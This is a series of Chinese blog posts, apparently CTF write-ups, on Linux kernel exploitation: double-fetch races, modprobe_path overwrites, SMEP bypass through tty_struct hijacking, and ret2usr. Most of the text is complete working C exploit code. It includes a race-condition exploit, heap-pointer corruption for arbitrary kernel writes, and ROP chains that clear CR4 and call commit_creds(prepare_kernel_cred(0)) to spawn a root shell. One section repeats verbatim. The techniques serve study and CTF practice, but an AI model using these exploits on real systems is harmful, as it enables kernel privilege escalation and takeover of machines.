与世无争就拿不到flag😀



### Double Fetch

其实手法原理很简单 就是条件竞争

`Double Fetch`直译过来就是取值两次 在编程中其实就是对同一个地址取值两次 例如第一次进行校验 第二次进行计算什么的 是一种有点呆 但是很常见的编程手法 `Double Fetch`在内核与用户态交互中主要在以下情况中出现

用户向内核传送数据 但是因为数据总量太大 导致只能传入一个指针 然后后续内核多次通过该指针访问用户态的数据

举一个比较实际的例子 用户态向内核传入指向秘钥的指针 内核需要首先校验秘钥合法性 然后再校验秘钥是否正确 这个逻辑实际上是很正确的 毕竟不合法的秘钥就一定不正确对吧

但是有一个很大的问题是 内核收到的是用户态的指针 对于用户态我们自己编写的程序来说 我们可以任意修改其内存中的内容并且可以很轻易的创造多个线程 那么如果在传入密钥后那一刹那 我们修改指针内的值实际上是有机会修改程序流向的 这里我们可以借用`CTF Wiki`上的一张图 来说明

![](https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/figure/double-fetch.png)

### 2018 0CTF Finals Baby Kernel



#### 文件分析

很干净

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011744.png" style="zoom:50%;" />

解压文件系统后抓到`baby.ko`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011850.png" style="zoom:50%;" />



#### 逆向分析

直接看`baby_ioctl`吧

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011925.png" style="zoom:50%;" />

从控制代码0x1337的部分可以看出 传入的是一个结构体 大致结构为

```c
struct flag
{
    size_t flag;
    size_t length;
    /* data */
};
```

首先是进行了两次`_chk_range_not_ok`校验 其中a1为flag指针 a2为flag长度 a3为current_task的地址+0x1358

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131012118.png" style="zoom:50%;" />

`__CFADD__`为获取到`a1+a2`的CF寄存器的值 CF寄存器的作用是用来检测是否存在进位的 显然只要我们传入的flag指针只要不是`0xffffffffffffffff`附近的数字 一般都不会产生进位

最为重要的就是a3和v4的比较 这里我们需要进行调试看一下`&current_task+0x1358`到底是哪里

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131013920.png" style="zoom:50%;" />

可以看到是`0x7ffffffff000`而这个数字其实很熟悉 就是用户态栈下限 众所周知 用户栈向下生长 即我们传入的指针是用户栈内的指针即可



#### 主要思路

在控制代码0x1337内首先是进行了传入的flag指针的合法性检验 然后针对flag进行逐位匹配 其中flag地址通过控制代码0x6666内核会`printk`给我们 那么我们完全可以利用条件竞争 先传入一个合法的flag指针 然后生成一个恶意进程 不断改写`flag`指针指向内核中的flag地址 如果凑巧的话 我们可以在通过合法性检查的同时 修改flag指针指向内核flag地址 然后逐位匹配成功



#### exp

```c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

struct flag
{
    size_t flag;
    size_t length;
    /* data */
};

struct flag data;

void competitionThread(size_t flag_addr)
{
    while (1)
    {
        data.flag=flag_addr;
    }
}

int main(void)
{
    pthread_t compete_thread;
    int fd=open("/dev/baby",0);
    ioctl(fd,0x6666,&data);

    size_t flag_addr;
    scanf("%p",&flag_addr);

    void* fake_flag=malloc(0x100);
    

    pthread_create(&compete_thread,NULL,competitionThread,flag_addr);
    
    int i;
    for(i=0;i<1000;i++)
    {
        data.flag=(size_t)fake_flag;
        data.length=33;
        ioctl(fd,0x1337,&data);
    }
    
    pthread_cancel(compete_thread);
    system("dmesg | grep flag");
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131015858.png)

[Kernel Pwn] 0x08 Kernel Userfaultfd

👨要肝不动了



### Double Fetch

其实手法原理很简单 就是条件竞争

`Double Fetch`直译过来就是取值两次 在编程中其实就是对同一个地址取值两次 例如第一次进行校验 第二次进行计算什么的 是一种有点呆 但是很常见的编程手法 `Double Fetch`在内核与用户态交互中主要在以下情况中出现

用户向内核传送数据 但是因为数据总量太大 导致只能传入一个指针 然后后续内核多次通过该指针访问用户态的数据

举一个比较实际的例子 用户态向内核传入指向秘钥的指针 内核需要首先校验秘钥合法性 然后再校验秘钥是否正确 这个逻辑实际上是很正确的 毕竟不合法的秘钥就一定不正确对吧

但是有一个很大的问题是 内核收到的是用户态的指针 对于用户态我们自己编写的程序来说 我们可以任意修改其内存中的内容并且可以很轻易的创造多个线程 那么如果在传入密钥后那一刹那 我们修改指针内的值实际上是有机会修改程序流向的 这里我们可以借用`CTF Wiki`上的一张图 来说明

![](https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/figure/double-fetch.png)

### 2018 0CTF Finals Baby Kernel



#### 文件分析

很干净

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011744.png" style="zoom:50%;" />

解压文件系统后抓到`baby.ko`

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011850.png" style="zoom:50%;" />



#### 逆向分析

直接看`baby_ioctl`吧

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131011925.png" style="zoom:50%;" />

从控制代码0x1337的部分可以看出 传入的是一个结构体 大致结构为

```c
struct flag
{
    size_t flag;
    size_t length;
    /* data */
};
```

首先是进行了两次`_chk_range_not_ok`校验 其中a1为flag指针 a2为flag长度 a3为current_task的地址+0x1358

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131012118.png" style="zoom:50%;" />

`__CFADD__`为获取到`a1+a2`的CF寄存器的值 CF寄存器的作用是用来检测是否存在进位的 显然只要我们传入的flag指针只要不是`0xffffffffffffffff`附近的数字 一般都不会产生进位

最为重要的就是a3和v4的比较 这里我们需要进行调试看一下`&current_task+0x1358`到底是哪里

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131013920.png" style="zoom:50%;" />

可以看到是`0x7ffffffff000`而这个数字其实很熟悉 就是用户态栈下限 众所周知 用户栈向下生长 即我们传入的指针是用户栈内的指针即可



#### 主要思路

在控制代码0x1337内首先是进行了传入的flag指针的合法性检验 然后针对flag进行逐位匹配 其中flag地址通过控制代码0x6666内核会`printk`给我们 那么我们完全可以利用条件竞争 先传入一个合法的flag指针 然后生成一个恶意进程 不断改写`flag`指针指向内核中的flag地址 如果凑巧的话 我们可以在通过合法性检查的同时 修改flag指针指向内核flag地址 然后逐位匹配成功



#### exp

```c
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

struct flag
{
    size_t flag;
    size_t length;
    /* data */
};

struct flag data;

void competitionThread(size_t flag_addr)
{
    while (1)
    {
        data.flag=flag_addr;
    }
}

int main(void)
{
    pthread_t compete_thread;
    int fd=open("/dev/baby",0);
    ioctl(fd,0x6666,&data);

    size_t flag_addr;
    scanf("%p",&flag_addr);

    void* fake_flag=malloc(0x100);
    

    pthread_create(&compete_thread,NULL,competitionThread,flag_addr);
    
    int i;
    for(i=0;i<1000;i++)
    {
        data.flag=(size_t)fake_flag;
        data.length=33;
        ioctl(fd,0x1337,&data);
    }
    
    pthread_cancel(compete_thread);
    system("dmesg | grep flag");
}
```

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230131015858.png)

[Kernel Pwn] 0x07 Kernel Double_Fetch

Kernel🐕都不学



### Modprobe_path

本身`modprobe`是用来加载内核模块的(在之前编写内核模块的时候我们使用过) 他可以直接加载一组相互依赖的模块或者卸载相互依赖的模块 但是比较特殊的是这个程序的路径是一个内核全局变量 默认是`/sbin/modprobe` 我们可以运行`cat /proc/sys/kernel/modprobe`来查看

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129224828.png)

并且这个路径在内核内部是可写的 最为特殊的是如果我们运行一个`未知格式的文件`时 会自动调用`modprobe_path`指向的程序 那么如果我们在内核内可以修改掉这个全局变量的话 我们就可以在使用`system或者execvce执行未知文件类型的错误文件时`就可以任意执行我们想要执行的程序了

`modprobe`执行程序的完整调用链为

```
（1）do_execve()
（2）do_execveat_common()
（3）bprm_execve()
（4）exec_binprm()
（5）search_binary_handler()
（6）request_module()
（7）call_usermodehelper()
```

其余的并不是很重要 主要是这一条流程全部都是在内核态`root`权限下实现的 如此我们便可以实现部分提权操作



### 金盾信安第四届-hackme

其实本题基本上是照搬了`2019 STARCTF-hackme` 基本上什么都没改..



#### 文件分析

给出的附件很干净 只有最基础的几个文件

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129230047.png" style="zoom:50%;" />

那就先提取`vmlinux`这里我使用的是`vmlinux_to_elf`因为我使用`extract-vmlinux.sh`提取不出来符号表 当然也就没有什么用了

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129230643.png)

然后看一下启动脚本 可以看到启用了`kaslr和smep` 如果一会需要地址的话我们需要自己泄漏基地址 

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129230724.png" style="zoom:50%;" />

这里为了初始的方便起见 我们先把`kaslr`关掉

```bash
qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./initramfs.cpio \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-s \
-nographic  \
```

然后就是解压文件系统 

```bash
cpio -idv < ./initramfs.cpio
```

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129231122.png" style="zoom:50%;" />

其中`init`为空



#### 逆向分析

主要还是看`hackme_ioctl` 通过功能和传参分析 发现`hackme_ioctl`传参为一个大小为0x20的结构

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129231355.png" style="zoom:50%;" />

其实就是一个结构体 我们可以自己定义结构

```c
struct data
{
    size_t idx;
    size_t buf;
    size_t length;
    size_t offset;
    /* data */
};
```

程序主要实现了增删改查四个功能 其中漏洞点主要在改和查 很明显`offset`没有限制负数 导致可以任意向上更改和查询

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230129231606.png" style="zoom:50%;" />



#### 基本思路

启动虚拟机后我们是`CTF`用户 没有权限读取flag 我们可以通过修改`modprobe_path` 然后写一个sh脚本 将flag权限修改为777

那么基本思路就是利用内核堆与`fastbin`类似的特性 先后释放的堆块会相互存在指针连接 然后我们泄露出内核基址 然后通过修改堆块之间的指针 申请到`pool`附近的内存 然后造成任意写 以达到修改`modprobe_path`的目的



#### nokaslr

```c

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

// gcc exp.c -o exp -static -masm=intel -g
struct data
{
    size_t idx;
    size_t buf;
    size_t length;
    size_t offset;
    /* data */
};

void k_malloc(fd,idx,size,buffer)
{
    struct data a;
    a.length=size;
    a.buf=buffer;
    a.idx=idx;
    ioctl(fd,0x30000,&a);
}

void k_free(fd,idx)
{
    struct data a;
    a.idx=idx;
    ioctl(fd,0x30001,&a);
}

void k_edit(fd,idx,size,buffer,offset)
{
    struct data a;
    a.length=size;
    a.buf=buffer;
    a.idx=idx;
    a.offset=offset;
    ioctl(fd,0x30002,&a);
}

void k_show(fd,idx,size,buffer,offset)
{
    struct data a;
    a.length=size;
    a.buf=buffer;
    a.idx=idx;
    a.offset=offset;
    ioctl(fd,0x30003,&a);
}


void main()
{   
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /test.sh");
    system("chmod +x /test.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /fuck");
    system("chmod +x /fuck");

    size_t modprobe_path=0xffffffff8183f960;
    size_t pool=0xffffffffc0002400;
    int fd=open("/dev/hackme",0);
    void *buffer=malloc(0x100);
    memset(buffer,'a',0x100);
    k_malloc(fd,0,0x100,buffer);
    k_malloc(fd,1,0x100,buffer);
    k_malloc(fd,2,0x100,buffer);
    k_malloc(fd,3,0x100,buffer);
    k_malloc(fd,4,0x100,buffer);

    k_free(fd,1);
    k_free(fd,3);

    size_t *buffer1=malloc(0x100);
    buffer1[0]=pool+0x90;
    k_edit(fd,4,0x100,buffer1,-0x100);
    k_show(fd,4,0x100,buffer1,-0x100);
    size_t heap_addr=*buffer1;
    printf("%p",heap_addr);

    size_t* buffer2=malloc(0x100);
    buffer2[0]=modprobe_path;
    buffer2[1]=0x100;
    k_malloc(fd,5,0x100,buffer);
    k_malloc(fd,6,0x100,buffer2);

    char* buffer3=malloc(0x100);
    strncpy(buffer3,"/test.sh\0",9);
    k_edit(fd,9,0x100,buffer3,0);
    
    system("/fuck");
    system("cat /flag");
    
    
}
```



#### kaslr

```c

#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

// gcc exp.c -o exp -static -masm=intel -g
struct data
{
    size_t idx;
    size_t buf;
    size_t length;
    size_t offset;
    /* data */
};

void k_malloc(fd,idx,size,buffer)
{
    struct data a;
    a.length=size;
    a.buf=buffer;
    a.idx=idx;
    ioctl(fd,0x30000,&a);
}

void k_free(fd,idx)
{
    struct data a;
    a.idx=idx;
    ioctl(fd,0x30001,&a);
}

void k_edit(fd,idx,size,buffer,offset)
{
    struct data a;
    a.length=size;
    a.buf=buffer;
    a.idx=idx;
    a.offset=offset;
    ioctl(fd,0x30002,&a);
}

void k_show(fd,idx,size,buffer,offset)
{
    struct data a;
    a.length=size;
    a.buf=buffer;
    a.idx=idx;
    a.offset=offset;
    ioctl(fd,0x30003,&a);
}


void main()
{   
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /test.sh");
    system("chmod +x /test.sh");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /fuck");
    system("chmod +x /fuck");

    int fd=open("/dev/hackme",0);
    void *buffer=malloc(0x100);
    memset(buffer,'a',0x100);
    k_malloc(fd,0,0x100,buffer);
    k_malloc(fd,1,0x100,buffer);
    k_malloc(fd,2,0x100,buffer);
    k_malloc(fd,3,0x100,buffer);
    k_malloc(fd,4,0x100,buffer);

    k_free(fd,1);
    k_free(fd,3);

    size_t* buffer1=malloc(0x100);
    k_show(fd,4,0x100,buffer1,-0x100);
    printf("[*] heap_addr: %p",*buffer1);

    size_t ko_base;
    puts("\ninput ko_base: ");
    scanf("%p",&ko_base);
    printf("[*] ko_base: %p\n",ko_base);

    size_t* buffer2=malloc(0x100);
    k_show(fd,0,0x200,buffer2,-0x200);
    printf("[*] kernel_addr: %p\n",buffer2[0]);
    size_t kernel_base=buffer2[0]-0x8472c0;
    printf("[*] kernel_base: %p\n",kernel_base);

    size_t modprobe_path=kernel_base+0x83f960;
    size_t pool=ko_base+0x2400;
    printf("[*] modprobe_path: %p\n",modprobe_path);
    printf("[*] pool: %p\n",pool);

    buffer2[0]=pool+0x90;
    k_edit(fd,4,0x100,buffer2,-0x100);
    k_show(fd,4,0x100,buffer2,-0x100); 

    buffer2[0]=modprobe_path;
    buffer2[1]=0x100;
    k_malloc(fd,5,0x100,buffer);
    k_malloc(fd,6,0x100,buffer2);

    strncpy(buffer,"/test.sh\0",9);
    k_edit(fd,9,0x100,buffer,0);

    system("/fuck");
    system("cat /flag");
    // scanf("%p");
    
    
}
```

写完才意识到为啥wp里面的脚本都不用给出来的`ko_base` 在比赛中打远程的Kernel Pwn是没有人输入的... 只不过需要找一下`ko_base`这里可以通过`mod_tree`来找

[Kernel Pwn] 0x06 Kernel Modprobe_Path

给Linus一点小小的Pwn手震撼🤭



### SMEP原理

前面我们提到 `ret2usr`是一种非常便利的`Kernel ROP`手法  那当然相关的安全开发工程师又不傻 肯定要针对利用手法做出封堵 于是SMEP保护诞生了

SMEP全称`Supervisor Mode Execution Protection` 主要就是当CPU处于`Ring0`时 执行用户空间的代码会触发页错误

系统一般是通过CR4寄存器的值来判断是否开启SMEP保护 当CR4的第20位为1是保护开启 但是CR4寄存器是可以通过`mov执行修改的`所以一般只需要修改CR4寄存器的值即可关闭保护( 一般使用一个固定值`0x6f0` )



### 基础知识



#### tty_struct结构体

在`/dev`下存在一个伪终端设备`ptmx` 其主要作用就是和`pts(在XWindows下使用的虚拟终端)`一起实现`pty(远程虚拟终端)` 当我们打开这个设备的时候 会创建一个结构体`tty_struct`

结构体定义在`include/linux/tty.h`中

```c
struct tty_struct {
	int	magic;
	struct kref kref;
	struct device *dev;
	struct tty_driver *driver;
	const struct tty_operations *ops;
	...
} __randomize_layout;
```

其余的定义都不是很重要 重要的是这里有个名字比较眼熟的指针`tty_operations`与之对比的是`file_operations` 内部包含了各种文件操作的函数指针 那么同样`tty_operations`内部也包含了大量与tty设备交互相关的函数指针

`tty_operations`定义在`include/linux/tty_drive.h`中

```c
struct tty_operations {
	struct tty_struct * (*lookup)(struct tty_driver *driver,
			struct file *filp, int idx);
	int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
	void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
	int  (*open)(struct tty_struct * tty, struct file * filp);
	void (*close)(struct tty_struct * tty, struct file * filp);
	void (*shutdown)(struct tty_struct *tty);
	void (*cleanup)(struct tty_struct *tty);
	int  (*write)(struct tty_struct * tty,
		      const unsigned char *buf, int count);
	int  (*put_char)(struct tty_struct *tty, unsigned char ch);
	...
} __randomize_layout;
```

可以看到总体结构和`file_operations`类似 那么就由此衍生出来一种攻击手法 可以让我们在可控`tty_struct`结构体的条件下 修改`tty_operations`指针 导致任意函数执行





### CISCN2017 - babydriver

这题之前我们在说`UAF`的时候用过 主要是逻辑上存在UAF漏洞 之前我们是用`cred结构体`实现的提权 这次我们试试使用`Ret2Usr`来看看

首先写出来一个大概

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp2.c -o exp2 -static -masm=intel -g
size_t commit_creds;
size_t prepare_kernel_cred;
size_t user_cs,user_ss,user_rflags,user_sp;

#define commit_creds 0xffffffff810a1420
#define prepare_kernel_cred 0xffffffff810a1810
void *tty_operation[30]={0};
void saveStatus()
{
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("Status has been saved...\n");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

int main(void)
{
    saveStatus();
    int i=0;
    size_t rop[100]={0}; // 先关闭smep
    rop[i++]=0xffffffff8100ce6e;// pop rax; ret;
    rop[i++]=0x6f0;
    rop[i++]=0xffffffff81005bd4;// mov cr4,rax; pop rbp; ret;
    rop[i++]=0;
    rop[i++]=(size_t)get_root;
    rop[i++]=0xffffffff81063694;// swapgs; pop rbp; ret;
    rop[i++]=0;
    rop[i++]=0xffffffff814e35ef;// iretq; ret;
    rop[i++]=(size_t)get_shell;
    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;

    int fd1=open("/dev/babydev",2);
    int fd2=open("/dev/babydev",2);

    ioctl(fd1,0x10001,0x2e0);
    close(fd1);

    int tty=open("/dev/ptmx",O_RDWR|O_NOCTTY);
    for(i=0;i<30;i++)
    {
        tty_operation[i]=0xffffffffffffff00+i; 
    }
    tty_operation[7]=0xffffffffc0000130;
    
    size_t tty_struct[4]={0};
    read(fd2,tty_struct,32);
    tty_struct[3]=(size_t)tty_operation;
    write(fd2,tty_struct,32);

    char buf[0x8]={0};
    write(tty,buf,8);
    return 0;

    

}
```

这个时候我们已经触发`tty_operation[7]`也就是`write`了 我们现在将`write`自定义为`babyread` 当我们上手调试的时候回发现一个问题

![](https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230119145920.png)

我们发现rax指向我们的`tty_opreation[0]` 但是我们的栈不是我们想要的栈啊 那么我们的rop全部都是乱的 那么我们可以利用`rax`的值 正好布置好我们需要的栈

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/ioctl.h>
// gcc exp2.c -o exp2 -static -masm=intel -g
size_t user_cs,user_ss,user_rflags,user_sp;

size_t commit_creds=0xffffffff810a1420;
size_t prepare_kernel_cred=0xffffffff810a1810;
void *tty_operation[30]={0};
void saveStatus()
{
    __asm__("mov user_cs,cs;"
            "mov user_ss,ss;"
            "mov user_sp,rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("Status has been saved...\n");
}

void get_root()
{
    char* (*pkc)(int)=prepare_kernel_cred;
    char* (*cc)(char *)=commit_creds;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

int main(void)
{
    saveStatus();
    int i=0;
    // size_t rop[100]={0}; // 先关闭smep
    // rop[i++]=0xffffffff810d238d;// pop rax; ret;
    // rop[i++]=0x6f0;
    // rop[i++]=0xffffffff81004d80;// mov cr4,rax; pop rbp; ret;
    // rop[i++]=0xffff880005f8a000;
    // rop[i++]=(size_t)get_root;
    // rop[i++]=0xffffffff81063694;// swapgs; pop rbp; ret;
    // rop[i++]=0xffff880005f8a000;
    // rop[i++]=0xffffffff814e35ef;// iretq; ret;
    // rop[i++]=(size_t)get_shell;
    // rop[i++]=user_cs;
    // rop[i++]=user_rflags;
    // rop[i++]=user_sp;
    // rop[i++]=user_ss;
    size_t rop[32] = {0};
    rop[i++] = 0xffffffff810d238d;      // pop rdi; ret;
    rop[i++] = 0x6f0;
    rop[i++] = 0xffffffff81004d80;      // mov cr4, rdi; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = (size_t)get_root;
    rop[i++] = 0xffffffff81063694;      // swapgs; pop rbp; ret;
    rop[i++] = 0;
    rop[i++] = 0xffffffff814e35ef;      // iretq; ret;
    rop[i++] = (size_t)get_shell;
    rop[i++] = user_cs;                /* saved CS */
    rop[i++] = user_rflags;            /* saved EFLAGS */
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    int fd1=open("/dev/babydev",2);
    int fd2=open("/dev/babydev",2);

    ioctl(fd1,0x10001,0x2e0);
    close(fd1);

    printf("-----\n%p-------\n",(size_t)get_root);
    int tty=open("/dev/ptmx",O_RDWR|O_NOCTTY);
    for(i=0;i<30;i++)
    {
        tty_operation[i]=0xffffffff8181bfc5; 
    }
    tty_operation[0]=0xffffffff810635f5; // pop rax; pop rbp; ret
    tty_operation[1]=(size_t)rop;
    tty_operation[3]=0xffffffff8181bfc5; // mov rsp,rax; dec ebs; ret
    tty_operation[7]=0xffffffff8181bfc5; // mov rsp,rax; dec ebx; ret // 栈迁移
    
    size_t tty_struct[4]={0};
    read(fd2,tty_struct,32);
    tty_struct[3]=(size_t)tty_operation;
    write(fd2,tty_struct,32);

    char buf[0x8]={0};
    write(tty,buf,8);
    return 0;

    

}
```

[Kernel Pwn] 0x05 Kernel SMEP

仿生Kernel会梦到电子Pwn手么



### 手法

因为我们的内核模块是在`Ring 0` 状态运行 根据我们之前的基础知识 内层Ring是可以随意访问外部Ring的资源的 所以我们如果可以在内核构造ROP链的时候 就可以直接传入一个用户空间的函数指针 让内核直接跳转到用户空间执行函数 以简便ROP流程



### 2018 强网杯 - core

还是用我们之前`Kernel ROP` 的题目来做对比 具体分析这里不重复 先贴出之前的exp

```c
for(i=0;i<10;i++)
    {
        rop[i]=canary;
    }
    rop[i++]=pop_rdi+gadget_base;
    rop[i++]=0;
    rop[i++]=prepare_kernel_cred;
    rop[i++]=mov_rdi_rax_pop_rbp_pop_r12_ret+gadget_base;
    rop[i++]=0;
    rop[i++]=0;
    rop[i++]=commit_creds;
    rop[i++]=swapgs_popfq_ret+gadget_base;
    rop[i++]=0;
    rop[i++]=iretq_ret+gadget_base;
    rop[i++]=(size_t)spawn_shell;
    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;
    write(fd,rop,0x800);
    core_copy_func(fd,0xffffffffffff0000 | (0x100));

```

可以看出来我们之前是费尽心思在内核态构建ROP链 以执行`commit_creds(prepare_kernel_cred(0))` 其中寻找gadget属实是废了一大波劲 

但是如果使用`ret2usr`手法的话 我们的exp可以优化成这样

```c
void get_root()
{
    char* (*pkc)(int)=prepare_kernel_cred;
    char* (*cc)(char *)=commit_creds;
    (*cc)((*pkc)(0));
}

for(i=0;i<10;i++)
    {
        rop[i]=canary;
    }
    rop[i++]=(size_t)get_root;
    rop[i++]=swapgs_popfq_ret+gadget_base;
    rop[i++]=0;
    rop[i++]=iretq_ret+gadget_base;
    rop[i++]=(size_t)spawn_shell;
    rop[i++]=user_cs;
    rop[i++]=user_rflags;
    rop[i++]=user_sp;
    rop[i++]=user_ss;
    write(fd,rop,0x800);
    core_copy_func(fd,0xffffffffffff0000 | (0x100));

```

可以看到 我们直接在ROP链内传入了一个用户空间的函数指针 这样做可以降低构建`Kernel ROP链`的难度

<img src="https://blogdownload.oss-cn-hangzhou.aliyuncs.com/20230110174537.png" style="zoom:50%;" />